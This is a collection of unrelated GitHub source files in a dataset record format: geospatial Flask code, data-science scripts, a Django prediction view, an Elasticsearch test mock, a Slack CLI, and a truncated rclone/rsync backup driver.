columns + \") As l\" \\\n                                                                 \" )) As properties\"\n\n    query += \" FROM \" + table_name + \" As tb  where ST_Intersects(  tb.\" + geometry_column + \" , \" \\\n            \" ST_MakeEnvelope(\"+lon1+\", \"+lat1+\", \"+lon2+\", \"+lat2+\", \" + srid + \" ))) As f )  As fc;\"\n\n    result = db.prepare(query)\n\n    ret = \"{}\"\n    for r in result():\n        ret = r[0]\n\n    # turn the results into valid JSON\n    return ret\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"damaiwong/leaflet-flask-postgis","sub_path":"map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21927890846","text":"import pandas as pd\n\n\ndef all_values(n_state, size):\n    \"\"\"\n    Get all possible values.\n    Example: n_state = 3, size = 3, then return a iterable with values\n        [0, 0, 0], [1, 0, 0], [2, 0, 0], [0, 1, 0], [1, 1, 0], ..., [1, 2, 2], [2, 2, 2]\n    :param n_state:\n    :param size:\n    :return:\n    \"\"\"\n    result = [0] * size\n    for i in range(n_state ** size):\n        num = i\n        for j in range(size):\n            result[j] = num % n_state\n            num //= n_state\n        yield result\n\n\ndef multi_col_equal(df: pd.DataFrame, cols, values) -> pd.DataFrame:\n    \"\"\"\n    Filter with multi columns in a dataframe.\n    Example: df = DataFrame([[1,2,3,4],[2,3,4,5],[3,4,5,6]), cols = [1,2], values = [2,3]\n        then result = DataFrame([[1,2,3,4]])\n\n    :param df:\n    :param cols:\n    :param values:\n    :return:\n    \"\"\"\n    df1 = df[cols] == values\n    df2 = df1.astype(int).T.cumprod().T.astype(bool)\n    return df[df2[df2.columns[-1]]]\n","repo_name":"SageSeven/ivctbn","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37050726439","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.constants import h,c,k \n\nT_cmb = 2.725   # Temperature of the CMB in Kelvin\n\n\n# Function to calculate the black body spectrum\n\ndef black_body_spectrum(frequency, temperature):\n    # Planck's law (modified for unit conversion)\n    return (2 * h *c* frequency**3 ) * (1 / (np.exp((h *c* frequency*100) / (k * temperature)) - 1))*10**26\n\n\n# Load data from NASA\ndata = np.loadtxt('cmb_data.txt')\n\n\n# Extract frequency and CMB flux\nfrequency = data[:,0]      # it is actually 1/wavelength as in the data set its unit m^(-1)\ncmb_flux=data[:,1]\nfrequency_si = 100*c*data[:,0]    # converting 1/wavelength to frequency in SI unit\n\n\n# Calculating black body spectrum using Planck's law\nbb_spectrum = black_body_spectrum(frequency, T_cmb)\n\n\n# Plotting the black body spectrum\nplt.plot( frequency_si, bb_spectrum, label='Black Body Spectrum (T = 2.725 K)', linestyle = \"--\", linewidth = 2 )\n\n\n# Superimpose the CMB flux\nplt.plot( frequency_si, cmb_flux, label = 'CMB Flux',linestyle = \"dotted\", linewidth = 3 )\n\n\n\n# Find the wavelength at which the black body spectrum peaks\n\npeak_wavelength_index = np.argmax(bb_spectrum)   # using numpy function argmax()\n\npeak_wavelength = c/frequency_si[peak_wavelength_index] \n\nprint(f\"The wavelength at which the black body spectrum peaks is approximately {peak_wavelength:.2e} meters.\")\n\n\n\n# Add labels and legend\n\nplt.xlabel('Frequency (Hz)')\nplt.ylabel('Spectral Radiance (MJy/sr)')\nplt.legend()\n\n\n# Save the plot to a PDF file\nplt.savefig('cmb_spectrum_plot.pdf')\n\n\n# Show the plot\nplt.show()\n\n","repo_name":"shayakbarh/NM_Assg1","sub_path":"black_body_radiation.py","file_name":"black_body_radiation.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71521111780","text":"import os\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport time\n\nimport myPathRepo as pr\n\npath_trainDataset = pr.path_trainDataset()\npath_testDataset = pr.path_testDataset()\npath_trainDatasetLabel = pr.path_trainDatasetLabel()\npath_testDatasetLabel =  pr.path_testDatasetLabel() \n\n# read one file Label\ndef readFile(path):\n    f = open(path, 'r')\n    lignes = f.readlines()\n    delimiteur = \" \"\n    L = []\n    for ligne in lignes :\n        ligne = ligne.replace(\"\\n\",\"\")\n        l = ligne.split(\" \")\n        lenght = len(l) \n        rectangle = [int(float(x)) for x in l[-4:] ]\n        label =l[(-lenght):(-lenght+(lenght-4))]\n        label = delimiteur.join(label)\n        #L.append((label,rectangle))\n        L.append(rectangle)\n    f.close()\n    return label, L\n\n##########################\n###############\"\n# \"\ndef load_img(path = path_trainDataset,echantillon=None):\n    ### return L [ tuples(img, label_img, L[[rectangle],...], height, width), .... ]\n    Liste = []\n    for path_dataset in path :\n        for file_name in os.listdir(path_dataset)[:echantillon]:\n            if file_name.split(\".\")[-1].lower() in {\"jpeg\", \"jpg\", \"png\"}:\n            \n                file_path_label = path_dataset + \"Label/\"  + file_name.split(\".\")[0]+\".txt\"\n                file_path_image = path_dataset + file_name\n            \n                data_file_txt = readFile(file_path_label)\n                img = cv2.imread(file_path_image)\n                height, width, channels = img.shape\n                Liste.append((img,data_file_txt[0],data_file_txt[1],height,width))\n\n                        \n    return Liste\n\n\n#Liste.append(image,label,[coord],height,width)\n# load the masks for an image\ndef load_mask(path = path_trainDataset,echantillon=None):\n    Liste_img = load_img(path,echantillon)\n    class_ids = list()\n    for i in Liste_img:\n        masks = np.zeros([i[3],i[4]], dtype='uint8')\n        for j in range(len(i[2])):\n            box = i[2][j]\n            row_s, row_e = box[1], box[3]\n            col_s, col_e = box[0], box[2]\n            masks[row_s:row_e, col_s:col_e] = 1\n        class_ids.append((i,masks))\n    return class_ids\n\ndef load_dataset(path = path_trainDataset,echantillon=None):\n    data = load_mask(path,echantillon)\n    df = pd.DataFrame(columns=[\"image\",\"label\",\"rectangle\",\"height\",\"width\",\"mask\"])\n    for d in data:\n        df = df.append({'image':d[0][0],'label':d[0][1],'rectangle':d[0][2],'height':d[0][3],\"width\":d[0][4],\"mask\":d[1]}, ignore_index=True)\n    return df   \n\n\n#################################################\n####################\"\n# \ndef show_data(data):\n    if(type(data) is pd.DataFrame):\n        show_dataframe(data)\n    elif (type(data[0][1]) is str):\n        show_image(data)\n    elif(type(data[0][1]) is np.ndarray  ):\n        show_mask(data)\n    else :\n        print(\"error\")\n\ndef show_mask(liste_mask):\n    cp_mask = liste_mask.copy()\n    for img in cp_mask :\n        img[1][img[1]==1]=255\n        window_name = \"Visualizer\"\n        cv2.imshow(window_name, img[1])\n        cv2.waitKey(0)\n        cv2.destroyAllWindows()\n        \n        \ndef show_image(liste_img):\n    index=0\n    r,g,b = 255 , 0,0\n    for img in liste_img : \n        index = index+1\n        window_name = \"Visualizer: {}/{}\".format(index, len(data_train))\n        show_oneImage(img[0],img[2],name=window_name)\n\ndef show_dataframe(df):\n    for i in range(len(df)):\n        image = df.loc[i,\"image\"]\n        rectangle = df.loc[i,\"rectangle\"]\n        window_name = \"Visualizer: {}/{}\".format(i, len(df))\n        show_oneImage(image,rectangle,name=window_name)\n\ndef show_oneImage(img,rectangle,color=(255,0,0), name=\"1/1\"):\n    for ax in rectangle:   \n            cv2.rectangle(img, (ax[-2],ax[-1]),(ax[-4],ax[-3]), color, 3)\n    cv2.imshow(name, img)\n    cv2.waitKey(0)\n    # We close the window\n    cv2.destroyAllWindows()","repo_name":"aymen150/detection_tensorflow2","sub_path":"load_myDataset.py","file_name":"load_myDataset.py","file_ext":"py","file_size_in_byte":3879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24666964550","text":"from os import write\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nimport pandas as pd\n\n\n# Create your views here.\n\nimport joblib\nmodelReload=joblib.load('./models/RFModelforStroke.pkl')\n\ndef index(request):\n    context={'a':'HelloWorld!'}\n    return render(request, 'index.html',context)\n    #return HttpResponse({'a':1})\n\n\ndef predictstroke(request):\n    print (request)\n    if request.method == 'POST':\n        temp={}\n        temp['gender']=request.POST.get('gender')\n        temp['age']=request.POST.get('age')\n        temp['heart_disease']=request.POST.get('heart_disease')\n        temp['hypertension']=request.POST.get('hypertension')\n        temp['ever_married']=request.POST.get('ever_married')\n        temp['work_type']=request.POST.get('work_type')\n        temp['residence_type']=request.POST.get('residence_type')\n        temp['avg_glucose_level']=request.POST.get('avg_glucose_level')\n        temp['bmi']=request.POST.get('bmi')\n        temp['smoking_status']=request.POST.get('smoking_status')\n    \n    testDtaa = pd.DataFrame(temp, index=[0])\n    scoreval = modelReload.predict(testDtaa)[0]\n    \n    \n    context={'scoreval':scoreval,\n            'temp':temp\n    }\n    return render(request, 'deneme.html',context)\n    ","repo_name":"ilaydakaraca/prediction","sub_path":"strokedetection/firstpage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32686058953","text":"from __future__ import annotations\n\nimport fnmatch\nimport json\n\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch.exceptions import NotFoundError\n\nfrom .utilities import MissingIndexException, get_random_id, query_params\n\n#\n# The MIT License (MIT)\n#\n# Copyright (c) 2016 Marcos Cardoso\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n\nclass FakeElasticsearch(Elasticsearch):\n    __documents_dict = None\n\n    def __init__(self):\n        super().__init__(\"http://localhost:9200\")\n        self.__documents_dict = {}\n\n    @query_params()\n    def ping(self, params=None):\n        return True\n\n    @query_params()\n    def info(self, params=None):\n        return {\n            \"status\": 200,\n            \"cluster_name\": \"elasticmock\",\n            \"version\": {\n                \"lucene_version\": \"4.10.4\",\n                \"build_hash\": \"00f95f4ffca6de89d68b7ccaf80d148f1f70e4d4\",\n                \"number\": \"1.7.5\",\n                \"build_timestamp\": \"2016-02-02T09:55:30Z\",\n                \"build_snapshot\": False,\n            },\n            \"name\": \"Nightwatch\",\n            \"tagline\": \"You Know, for Search\",\n        }\n\n    @query_params()\n    def sample_log_response(self, headers=None, params=None):\n        return {\n            \"_shards\": {\"failed\": 0, \"skipped\": 0, \"successful\": 7, \"total\": 7},\n            \"hits\": {\n                \"hits\": [\n                    {\n                        \"_id\": \"jdeZT4kBjAZqZnexVUxk\",\n                        \"_index\": \".ds-filebeat-8.8.2-2023.07.09-000001\",\n                        \"_score\": 2.482621,\n                        \"_source\": {\n                            \"@timestamp\": \"2023-07-13T14:13:15.140Z\",\n                            \"asctime\": \"2023-07-09T07:47:43.907+0000\",\n                            \"container\": {\"id\": \"airflow\"},\n                            \"dag_id\": \"example_bash_operator\",\n                            \"ecs\": {\"version\": \"8.0.0\"},\n                            \"execution_date\": \"2023_07_09T07_47_32_000000\",\n                            \"filename\": \"taskinstance.py\",\n                            \"input\": {\"type\": \"log\"},\n                            \"levelname\": \"INFO\",\n                            \"lineno\": 1144,\n                            \"log\": {\n                                \"file\": {\n                                    \"path\": \"/opt/airflow/Documents/GitHub/airflow/logs/\"\n                                    \"dag_id=example_bash_operator'\"\n                                    \"/run_id=owen_run_run/task_id=run_after_loop/attempt=1.log\"\n                                },\n                                \"offset\": 0,\n                            },\n                            \"log.offset\": 1688888863907337472,\n                            \"log_id\": \"example_bash_operator-run_after_loop-owen_run_run--1-1\",\n                            \"message\": \"Dependencies all met for \"\n                            \"dep_context=non-requeueable deps \"\n                            \"ti=<TaskInstance: \"\n                            \"example_bash_operator.run_after_loop \"\n                            \"owen_run_run [queued]>\",\n                            \"task_id\": \"run_after_loop\",\n                            \"try_number\": \"1\",\n                        },\n                        \"_type\": \"_doc\",\n                    },\n                    {\n                        \"_id\": \"qteZT4kBjAZqZnexVUxl\",\n                        \"_index\": \".ds-filebeat-8.8.2-2023.07.09-000001\",\n                        \"_score\": 2.482621,\n                        \"_source\": {\n                            \"@timestamp\": \"2023-07-13T14:13:15.141Z\",\n                            \"asctime\": \"2023-07-09T07:47:43.917+0000\",\n                            \"container\": {\"id\": \"airflow\"},\n                            \"dag_id\": \"example_bash_operator\",\n                            \"ecs\": {\"version\": \"8.0.0\"},\n                            \"execution_date\": \"2023_07_09T07_47_32_000000\",\n                            \"filename\": \"taskinstance.py\",\n                            \"input\": {\"type\": \"log\"},\n                            \"levelname\": \"INFO\",\n                            \"lineno\": 1347,\n                            \"log\": {\n                                \"file\": {\n                                    \"path\": \"/opt/airflow/Documents/GitHub/airflow/logs/\"\n                                    \"dag_id=example_bash_operator\"\n                                    \"/run_id=owen_run_run/task_id=run_after_loop/attempt=1.log\"\n                                },\n                                \"offset\": 988,\n                            },\n                            \"log.offset\": 1688888863917961216,\n                            \"log_id\": \"example_bash_operator-run_after_loop-owen_run_run--1-1\",\n                            \"message\": \"Starting attempt 1 of 1\",\n                            \"task_id\": \"run_after_loop\",\n                            \"try_number\": \"1\",\n                        },\n                        \"_type\": \"_doc\",\n                    },\n                    {\n                        \"_id\": \"v9eZT4kBjAZqZnexVUx2\",\n                        \"_index\": \".ds-filebeat-8.8.2-2023.07.09-000001\",\n                        \"_score\": 2.482621,\n                        \"_source\": {\n                            \"@timestamp\": \"2023-07-13T14:13:15.143Z\",\n                            \"asctime\": \"2023-07-09T07:47:43.928+0000\",\n                            \"container\": {\"id\": \"airflow\"},\n                            \"dag_id\": \"example_bash_operator\",\n                            \"ecs\": {\"version\": \"8.0.0\"},\n                            \"execution_date\": \"2023_07_09T07_47_32_000000\",\n                            \"filename\": \"taskinstance.py\",\n                            \"input\": {\"type\": \"log\"},\n                            \"levelname\": \"INFO\",\n                            \"lineno\": 1368,\n                            \"log\": {\n                                \"file\": {\n                                    \"path\": \"/opt/airflow/Documents/GitHub/airflow/logs/\"\n                                    \"dag_id=example_bash_operator\"\n                                    \"/run_id=owen_run_run/task_id=run_after_loop/attempt=1.log\"\n                                },\n                                \"offset\": 1372,\n                            },\n                            \"log.offset\": 1688888863928218880,\n                            \"log_id\": \"example_bash_operator-run_after_loop-owen_run_run--1-1\",\n                            \"message\": \"Executing <Task(BashOperator): \"\n                            \"run_after_loop> on 2023-07-09 \"\n                            \"07:47:32+00:00\",\n                            \"task_id\": \"run_after_loop\",\n                            \"try_number\": \"1\",\n                        },\n                        \"_type\": \"_doc\",\n                    },\n                ],\n                \"max_score\": 2.482621,\n                \"total\": {\"relation\": \"eq\", \"value\": 36},\n            },\n            \"timed_out\": False,\n            \"took\": 7,\n        }\n\n    @query_params(\n        \"consistency\",\n        \"op_type\",\n        \"parent\",\n        \"refresh\",\n        \"replication\",\n        \"routing\",\n        \"timeout\",\n        \"timestamp\",\n        \"ttl\",\n        \"version\",\n        \"version_type\",\n    )\n    def index(self, index, doc_type, body, id=None, params=None, headers=None):\n        if index not in self.__documents_dict:\n            self.__documents_dict[index] = []\n\n        if id is None:\n            id = get_random_id()\n\n        version = 1\n\n        self.__documents_dict[index].append(\n            {\n                \"_type\": doc_type,\n                \"_id\": id,\n                \"_source\": body,\n                \"_index\": index,\n                \"_version\": version,\n                \"_headers\": headers,\n            }\n        )\n\n        return {\n            \"_type\": doc_type,\n            \"_id\": id,\n            \"created\": True,\n            \"_version\": version,\n            \"_index\": index,\n            \"_headers\": headers,\n        }\n\n    @query_params(\"parent\", \"preference\", \"realtime\", \"refresh\", \"routing\")\n    def exists(self, index, doc_type, id, params=None):\n        result = False\n        if index in self.__documents_dict:\n            for document in self.__documents_dict[index]:\n                if document.get(\"_id\") == id and document.get(\"_type\") == doc_type:\n                    result = True\n                    break\n        return result\n\n    @query_params(\n        \"_source\",\n        \"_source_exclude\",\n        \"_source_include\",\n        \"fields\",\n        \"parent\",\n        \"preference\",\n        \"realtime\",\n        \"refresh\",\n        \"routing\",\n        \"version\",\n        \"version_type\",\n    )\n    def get(self, index, id, doc_type=\"_all\", params=None):\n        result = None\n        if index in self.__documents_dict:\n            result = self.find_document(doc_type, id, index, result)\n\n        if result:\n            result[\"found\"] = True\n        else:\n            error_data = {\"_index\": index, \"_type\": doc_type, \"_id\": id, \"found\": False}\n            raise NotFoundError(404, json.dumps(error_data))\n\n        return result\n\n    def find_document(self, doc_type, id, index, result):\n        for document in self.__documents_dict[index]:\n            if document.get(\"_id\") == id:\n                if doc_type == \"_all\" or document.get(\"_type\") == doc_type:\n                    result = document\n                    break\n        return result\n\n    @query_params(\n        \"_source\",\n        \"_source_exclude\",\n        \"_source_include\",\n        \"parent\",\n        \"preference\",\n        \"realtime\",\n        \"refresh\",\n        \"routing\",\n        \"version\",\n        \"version_type\",\n    )\n    def get_source(self, index, doc_type, id, params=None):\n        document = self.get(index=index, doc_type=doc_type, id=id, params=params)\n        return document.get(\"_source\")\n\n    @query_params(\n        \"_source\",\n        \"_source_exclude\",\n        \"_source_include\",\n        \"allow_no_indices\",\n        \"analyze_wildcard\",\n        \"analyzer\",\n        \"default_operator\",\n        \"df\",\n        \"expand_wildcards\",\n        \"explain\",\n        \"fielddata_fields\",\n        \"fields\",\n        \"from_\",\n        \"ignore_unavailable\",\n        \"lenient\",\n        \"lowercase_expanded_terms\",\n        \"preference\",\n        \"q\",\n        \"request_cache\",\n        \"routing\",\n        \"scroll\",\n        \"search_type\",\n        \"size\",\n        \"sort\",\n        \"stats\",\n        \"suggest_field\",\n        \"suggest_mode\",\n        \"suggest_size\",\n        \"suggest_text\",\n        \"terminate_after\",\n        \"timeout\",\n        \"track_scores\",\n        \"version\",\n    )\n    def count(self, index=None, doc_type=None, body=None, params=None, headers=None):\n        searchable_indexes = self._normalize_index_to_list(index, body)\n        searchable_doc_types = self._normalize_doc_type_to_list(doc_type)\n        i = 0\n        for searchable_index in searchable_indexes:\n            for document in self.__documents_dict[searchable_index]:\n                if not searchable_doc_types or document.get(\"_type\") in searchable_doc_types:\n                    i += 1\n        result = {\"count\": i, \"_shards\": {\"successful\": 1, \"failed\": 0, \"total\": 1}}\n\n        return result\n\n    @query_params(\n        \"_source\",\n        \"_source_exclude\",\n        \"_source_include\",\n        \"allow_no_indices\",\n        \"analyze_wildcard\",\n        \"analyzer\",\n        \"default_operator\",\n        \"df\",\n        \"expand_wildcards\",\n        \"explain\",\n        \"fielddata_fields\",\n        \"fields\",\n        \"from_\",\n        \"ignore_unavailable\",\n        \"lenient\",\n        \"lowercase_expanded_terms\",\n        \"preference\",\n        \"q\",\n        \"request_cache\",\n        \"routing\",\n        \"scroll\",\n        \"search_type\",\n        \"size\",\n        \"sort\",\n        \"stats\",\n        \"suggest_field\",\n        \"suggest_mode\",\n        \"suggest_size\",\n        \"suggest_text\",\n        \"terminate_after\",\n        \"timeout\",\n        \"track_scores\",\n        \"version\",\n    )\n    def search(self, index=None, doc_type=None, body=None, params=None, headers=None):\n        searchable_indexes = self._normalize_index_to_list(index, body)\n\n        matches = self._find_match(index, doc_type, body)\n\n        result = {\n            \"hits\": {\"total\": len(matches), \"max_score\": 1.0},\n            \"_shards\": {\n                # Simulate indexes with 1 shard each\n                \"successful\": len(searchable_indexes),\n                \"failed\": 0,\n                \"total\": len(searchable_indexes),\n            },\n            \"took\": 1,\n            \"timed_out\": False,\n        }\n\n        hits = []\n        for match in matches:\n            match[\"_score\"] = 1.0\n            hits.append(match)\n        result[\"hits\"][\"hits\"] = hits\n\n        return result\n\n    @query_params(\n        \"consistency\", \"parent\", \"refresh\", \"replication\", \"routing\", \"timeout\", \"version\", \"version_type\"\n    )\n    def delete(self, index, doc_type, id, params=None, headers=None):\n        found = False\n\n        if index in self.__documents_dict:\n            for document in self.__documents_dict[index]:\n                if document.get(\"_type\") == doc_type and document.get(\"_id\") == id:\n                    found = True\n                    self.__documents_dict[index].remove(document)\n                    break\n\n        result_dict = {\n            \"found\": found,\n            \"_index\": index,\n            \"_type\": doc_type,\n            \"_id\": id,\n            \"_version\": 1,\n        }\n\n        if found:\n            return result_dict\n        else:\n            raise NotFoundError(404, json.dumps(result_dict))\n\n    @query_params(\"allow_no_indices\", \"expand_wildcards\", \"ignore_unavailable\", \"preference\", \"routing\")\n    def suggest(self, body, index=None):\n        if index is not None and index not in self.__documents_dict:\n            raise NotFoundError(404, f\"IndexMissingException[[{index}] missing]\")\n\n        result_dict = {}\n        for key, value in body.items():\n            text = value.get(\"text\")\n            suggestion = int(text) + 1 if isinstance(text, int) else f\"{text}_suggestion\"\n            result_dict[key] = [\n                {\n                    \"text\": text,\n                    \"length\": 1,\n                    \"options\": [{\"text\": suggestion, \"freq\": 1, \"score\": 1.0}],\n                    \"offset\": 0,\n                }\n            ]\n        return result_dict\n\n    def _find_match(self, index, doc_type, body):\n        searchable_indexes = self._normalize_index_to_list(index, body)\n        searchable_doc_types = self._normalize_doc_type_to_list(doc_type)\n\n        must = body[\"query\"][\"bool\"][\"must\"][0]  # only support one must\n\n        matches = []\n        for searchable_index in searchable_indexes:\n            self.find_document_in_searchable_index(matches, must, searchable_doc_types, searchable_index)\n\n        return matches\n\n    def find_document_in_searchable_index(self, matches, must, searchable_doc_types, searchable_index):\n        for document in self.__documents_dict[searchable_index]:\n            if not searchable_doc_types or document.get(\"_type\") in searchable_doc_types:\n                if \"match_phrase\" in must:\n                    self.match_must_phrase(document, matches, must)\n                else:\n                    matches.append(document)\n\n    @staticmethod\n    def match_must_phrase(document, matches, must):\n        for query_id in must[\"match_phrase\"]:\n            query_val = must[\"match_phrase\"][query_id]\n            if query_id in document[\"_source\"]:\n                if query_val in document[\"_source\"][query_id]:\n                    # use in as a proxy for match_phrase\n                    matches.append(document)\n\n    # Check index(es) exists.\n    def _validate_search_targets(self, targets, body):\n        # TODO: support allow_no_indices query parameter\n        matches = set()\n        for target in targets:\n            print(f\"Loop over:::target = {target}\")\n            if target == \"_all\" or target == \"\":\n                matches.update(self.__documents_dict)\n            elif \"*\" in target:\n                matches.update(fnmatch.filter(self.__documents_dict, target))\n            elif target not in self.__documents_dict:\n                raise MissingIndexException(msg=f\"IndexMissingException[[{target}] missing]\", body=body)\n        return matches\n\n    def _normalize_index_to_list(self, index, body):\n        # Ensure to have a list of index\n        if index is None:\n            searchable_indexes = self.__documents_dict.keys()\n        elif isinstance(index, str):\n            searchable_indexes = [index]\n        elif isinstance(index, list):\n            searchable_indexes = index\n        else:\n            # Is it the correct exception to use ?\n            raise ValueError(\"Invalid param 'index'\")\n\n        generator = (target for index in searchable_indexes for target in index.split(\",\"))\n        return list(self._validate_search_targets(generator, body))\n\n    @staticmethod\n    def _normalize_doc_type_to_list(doc_type):\n        # Ensure to have a list of index\n        if doc_type is None:\n            searchable_doc_types = []\n        elif isinstance(doc_type, str):\n            searchable_doc_types = [doc_type]\n        elif isinstance(doc_type, list):\n            searchable_doc_types = doc_type\n        else:\n            # Is it the correct exception to use ?\n            raise ValueError(\"Invalid param 'index'\")\n\n        return searchable_doc_types\n","repo_name":"a0x8o/airflow","sub_path":"tests/providers/elasticsearch/log/elasticmock/fake_elasticsearch.py","file_name":"fake_elasticsearch.py","file_ext":"py","file_size_in_byte":18425,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"43116813632","text":"import logging\n\nimport click\n\nfrom .checker import check\nfrom .config import Config\nfrom .reporters import SlackReporter\n\n\nlogging.basicConfig(level=\"WARNING\", format=\"%(asctime)s [%(levelname)s] %(name)s %(message)s\")\n\n\n@click.group()\ndef cli():\n    pass\n\n\n@cli.command()\n@click.option(\"--bitbucket-url\", required=True)\n@click.option(\"--slack-webhook\", required=True)\n@click.option(\"--slack-channel\", required=True)\n@click.option(\"-i\", \"--input\", \"input_file\", type=click.File(\"r\"))\n@click.option(\"--database\")\n@click.option(\"--no-verify-https\", is_flag=True)\n@click.option(\"-v\", \"--verbose\", count=True)\n@click.argument(\"repos\", nargs=-1, metavar=\"[REPO...]\")\ndef run(\n    bitbucket_url,\n    slack_webhook,\n    slack_channel,\n    input_file,\n    database,\n    no_verify_https,\n    verbose,\n    repos,\n):\n    if verbose:\n        logging.getLogger().setLevel(\"DEBUG\" if verbose > 1 else \"INFO\")\n    repos = list(repos)\n    if input_file:\n        repos.extend(l.strip() for l in input_file.readlines())\n    config = Config(verify_https=not no_verify_https)\n    if database:\n        config.database = database\n    reporter = SlackReporter(url=slack_webhook, channel=slack_channel)\n    check(bitbucket_url, repos, reporter=reporter, config=config)\n","repo_name":"RobbieClarken/prcop","sub_path":"src/prcop/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"31680631024","text":"#!/usr/bin/env python\n\nimport datetime\nfrom datetime import timedelta\nimport yaml\nimport logging\nimport logging.config\nimport subprocess\nimport os\nimport sys\nimport re\nimport glob\nimport argparse\n\nclass AbstractDriver(object):\n    def __init__(self, config = None, logger = None):\n        self.config = {'bin_path': '', 'env': None, 'aws_access_key': None, 'aws_secret_key': None}\n        if config:\n            self.config.update(config)\n        self.logger = logger or logging.getLogger(__name__)\n    \n    def _run(self, cmd):\n        env = os.environ.copy()\n        if self.config['env']:\n            env.update(self.config['env'])\n        \n        process = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env)\n        for line in process.stdout:\n            self.logger.debug(line.rstrip())\n        \n        for line in process.stderr:\n            self.logger.info(line.rstrip())\n        \n        process.wait()\n\nclass RcloneDriver(AbstractDriver):\n    def __init__(self, config = None, logger = None):\n        super(RcloneDriver, self).__init__(config, logger)\n        \n        if not self.config['bin_path']:\n            self.config['bin_path'] = 'rclone'\n        \n        if not self.config['aws_access_key'] or not self.config['aws_secret_key']:\n            if 'aws_env_auth' in self.config and not self.config['aws_env_auth']:\n                raise Exception('Either configure aws_env_auth or configure access/secret key')\n            else:\n                self.config['aws_env_auth'] = True\n        else:\n            self.config['aws_env_auth'] = False\n        \n        self.flags = self.build_flags()\n    \n    def build_flags(self):\n        flags = ['-v', '--s3-provider', 'AWS']\n        \n        if 'aws_env_auth' in self.config and self.config['aws_env_auth']:\n            flags.extend(['--s3-env-auth'])\n        else:\n            flags.extend(['--s3-access-key-id', self.config['aws_access_key']])\n            flags.extend(['--s3-secret-access-key', self.config['aws_secret_key']])\n        \n        if 'aws_region' in self.config:\n            flags.extend(['--s3-region', self.config['aws_region']])\n        \n        if 'aws_s3_acl' in self.config:\n            flags.extend(['--s3-acl', self.config['aws_s3_acl']])\n        \n        if 'aws_s3_server_side_encryption' in self.config:\n            flags.extend(['--s3-server-side-encryption', self.config['aws_s3_server_side_encryption']])\n        \n        if 'aws_s3_storage_class' in self.config:\n            flags.extend(['--s3-storage-class', self.config['aws_s3_storage_class']])\n        \n        return flags\n    \n    def fix_s3_path(self, path):\n        return path.replace('s3://', ':s3:')\n    \n    def sync(self, src, dest):\n        self.logger.info(\"rclone::syncing '%s' to amazon s3\", src.get_name())\n        \n        flags = self.flags[:]\n        \n        for path in src.get_excluded_paths():\n            flags.extend(['--exclude', self.fix_s3_path(path)])\n        \n        dest = dest.replace('s3://', ':s3:')\n        \n        included_paths = src.get_included_paths(self)\n        if included_paths:\n            for path in src.get_included_paths(self):\n                cmd = [self.config['bin_path'], 'sync', self.fix_s3_path(path), dest]\n                cmd.extend(flags)\n                self._run(cmd)\n        else:\n            self.logger.info('Skipping copy as source list is empty')\n    \n    def remove(self, dest):\n        self.logger.info(\"rclone::removing '%s' from amazon s3\", dest)\n        dest = dest.replace('s3://', ':s3:')\n        cmd = [self.config['bin_path'], 'purge', self.fix_s3_path(dest)]\n        cmd.extend(self.flags)\n        \n        self._run(cmd)\n    \n    def exists(self, dest):\n        return True\n    \n    \n\nclass RsyncDriver(AbstractDriver):\n    def __init__(self, config = None, logger = None):\n        super(RsyncDriver, self).__init__(config, logger)\n        \n        if not self.config['bin_path']:\n            self.config['bin_path'] = 'rsync'\n    \n    def sync(self, src, dest):\n        self.logger.info(\"rsync::syncing '%s' to filesystem\", src.get_name())\n        cmd = [self.config['bin_path'], '-avP']\n        \n        for path in src.get_excluded_paths():\n            cmd.extend(['--exclude', path])\n        \n        included_paths = src.get_included_paths(self)\n        \n        if not os.path.exists(dest):\n            os.makedirs(dest)\n        \n        if not os.path.isdir(dest):\n            raise Exception('Destination is not a directory %s' % dest);\n        \n        if included_paths:\n            for path in included_paths:\n                cmd.append(path)\n            \n            cmd.append(dest)\n            self._run(cmd)\n        else:\n            self.logger.info('Skipping copy as source list is empty')\n    \n    def remove(self, dest):\n        self.logger.info(\"rclone::removing '%s' from filesytem\", dest)\n        if dest == '/':\n            self.logger.error(\"rsync::cannot remove '/' directory\")\n        else:\n            self._run(['rm', '-rf', dest])\n    \n    def exists(self, dest):\n        return 